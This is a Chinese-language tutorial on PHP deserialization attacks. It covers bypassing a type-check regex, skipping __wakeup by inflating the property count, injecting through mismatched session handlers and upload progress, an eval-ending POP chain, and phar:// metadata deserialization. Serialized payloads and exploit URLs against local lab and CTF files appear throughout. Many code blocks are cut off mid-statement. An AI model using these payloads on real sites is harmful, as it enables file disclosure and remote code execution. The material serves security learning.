\x00 + 类名 + \x00 + 变量名 -> 反序列化为private变量
\x00 + * + \x00 + 变量名 -> 反序列化为protected变量
name2 . ' is ' . $this->age2 . ' years old
';
}
}
$user = new user();
$user->print_data();
echo serialize($user);
?> leo is 19 years old
O:4:"user":2:{s:11:"username2";s:3:"leo";s:7:"*age2";i:19;}
file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches); // 这里匹配到O后面跟着数字就拦截
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$baby = new baby();
$baby->file = 'flag.php';
echo serialize($baby);
?>
得到如下内容:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
http://127.0.0.1/ctf.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
bull = "destruct
";
echo $this->bull;
echo "destruct ok!
";
}
public function __wakeup(){
$this->bull = "wake up
";
echo $this->bull;
echo "wake up ok!
";
}
}
// 正常payload
// $payload = O:4:"test":1:{s:4:"bull";s:4:"sdfz";}
// 触发漏洞的payload
$payload = 'O:4:"test":2:{s:4:"bull";s:4:"sdfz";}';
$abc = unserialize($payload);
?>
file = $file;
}
function __destruct(){
if(!empty($this->file))
{
//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
if(strchr($this->file,"\\")===false && strchr($this->file, '/')===false)
{
show_source(dirname (__FILE__).'/'.$this ->file);
}
else{
die('Wrong filename.');
}
}
}
function __wakeup()
{
$this-> file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file']))
{
show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file);
}
?>
file = $file;
}
function __destruct(){
if(!empty($this->file))
{
//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
if(strchr($this->file,"\\")===false && strchr($this->file, '/')===false)
{
show_source(dirname (__FILE__).'/'.$this ->file);
}
else{
die('Wrong filename.');
}
}
}
function __wakeup()
{
$this-> file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file']))
{
//show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file);
}
$test = new SoFun('flag.php');
echo base64_encode(serialize($test));
结果:
Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
?>
# 把变量数量更改为大于实际的变量数量并重新用base64编码
Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
http://127.0.0.1/test.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
PHP 内置了多种处理器用于存取$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php_serialize(php>=5.5.4) | 经过 serialize() 函数序列化处理的数组 |
当PHP序列化使用的是php_serialize,反序列化使用的是php的时候就会出现安全问题
此时注入的数据是a=|O:4:“test”:0:{}
那么通过php_serialize反序列化储存的结果就是a:1:{s:1:“a”;s:16:"|O:4:“test”:0:{}";}
根据php的反序列化格式( 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 ),此时a:1:{s:1:“a”;s:16:" 就会被当作键名, O:4:“test”:0:{}"; 就会被当作序列化后的值
1.php
2.php
meat;
}
}
?>
先对2.php的peiqi类进行序列化
meat;
}
}
$a = new peiqi();
$a->meat = '3333';
echo serialize($a);
// 输出结果O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}
?>
通过1.php文件 把序列化后的内容写入到session 主要前面要加|
http://localhost/test/1.php?a=|O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}
然后访问2.php 触发php处理器进行反序列化session文件
index.php
varr = "phpinfo.php";
?>
phpinfo.php
varr = "phpinfo();";
$f3->execute();
?>
这里为了方便实验把session.upload_progress.cleanup 变成off
class.php
varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}
?>
通过上面的学习,我们明白需要通过php_serialize来序列化,通过php来进行反序列化。
所以我们通过phpinfo.php来序列化,通过index.php来反序列化。
但是我们如何往session里面写入内容呢?
当session.upload_progress.enabled开启时,PHP能够在每一个文件上传时监测上传进度。
当POST中有一个变量与php.ini中的session.upload_progress.name变量值相同时,上传进度就会写入到session中
写入到session的数据内容为:session.upload_progress.prefix与 session.upload_progress.name连接在一起的值
链接:https://bugs.php.net/bug.php?id=71101
这样我们就可以控制session里面的内容了
这样利用漏洞的2个条件都有了
我们在看下3个php代码之间的关系
我们在仔细看下class.php的代码
在这之前我们先介绍下,PHP的常用魔术方法
在class.php的foo3类中我们看到
function execute(){
eval($this->varr);
}
所以我们需要给varr赋值,来执行语句
在foo2中我们看到
function __toString(){
$this->obj->execute();
return $this->varr;
}
所以我们需要把obj实例化成foo3对象,并且这个是__tosgtring()的魔术方法
在foo1中我们看到
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
所以我们需要把varr实例化成foo2,来调用__tostring的魔术方法
varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}
$a = new foo1();
$b= new foo2();
$c = new foo3();
$a->varr = $b;
$b->obj = $c;
$c->varr = "echo 'dfz';";
echo serialize($a);
// 输出结果:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:11:"echo 'dfz';";}}}
?>
https://blog.ripstech.com/2018/new-php-exploitation-technique/
利用phar函数可以在不适用unserialize()函数的情况下触发PHP反序列化漏洞
漏洞点在使用phar://协议读取文件时,文件内容会被解析成phar对象,然后phar对象内的Meta data信息会被反序列化
通过一下代码创建一个phar文件
startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
若出现下面这样的提示
Fatal error: Uncaught exception 'UnexpectedValueException' with message 'creating archive "test.phar" disabled by the php.ini setting phar.readonly' in D:\phpstudy\PHPTutorial\WWW\test\phar.php:3 Stack trace: #0 D:\phpstudy\PHPTutorial\WWW\test\phar.php(3): Phar->__construct('test.phar') #1 {main} thrown in D:\phpstudy\PHPTutorial\WWW\test\phar.php on line 3
把php.ini中的phar.readonly 改为 Off重启即可
phar文件的二进制内容如下
这个时候我们创建另一个php
data;
}
}
// output: rips
include('phar://test.phar');
?>
访问就可以看到网页输出rips
除了include还可以使用下列函数
include('phar://test.phar');
var_dump(file_exists('phar://test.phar'));
var_dump(file_get_contents('phar://test.phar'));
var_dump(file('phar://test.phar'));
# 改了文件名同样有效果
var_dump(file_get_contents('phar://test.jpg'));
var_dump(file_exists('phar://test.jpg'));
var_dump(file('phar://test.jpg'));
include('phar://test.jpg');
// 网站上的代码,同样可以
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
md5_file($_GET[‘file’]);演示:
这样我们利用phar来执行任意代码
startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$object->data1 = 'phpinfo();';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
data;
eval($this->data1);
}
}
// output: rips
md5_file($_GET['file']);
?>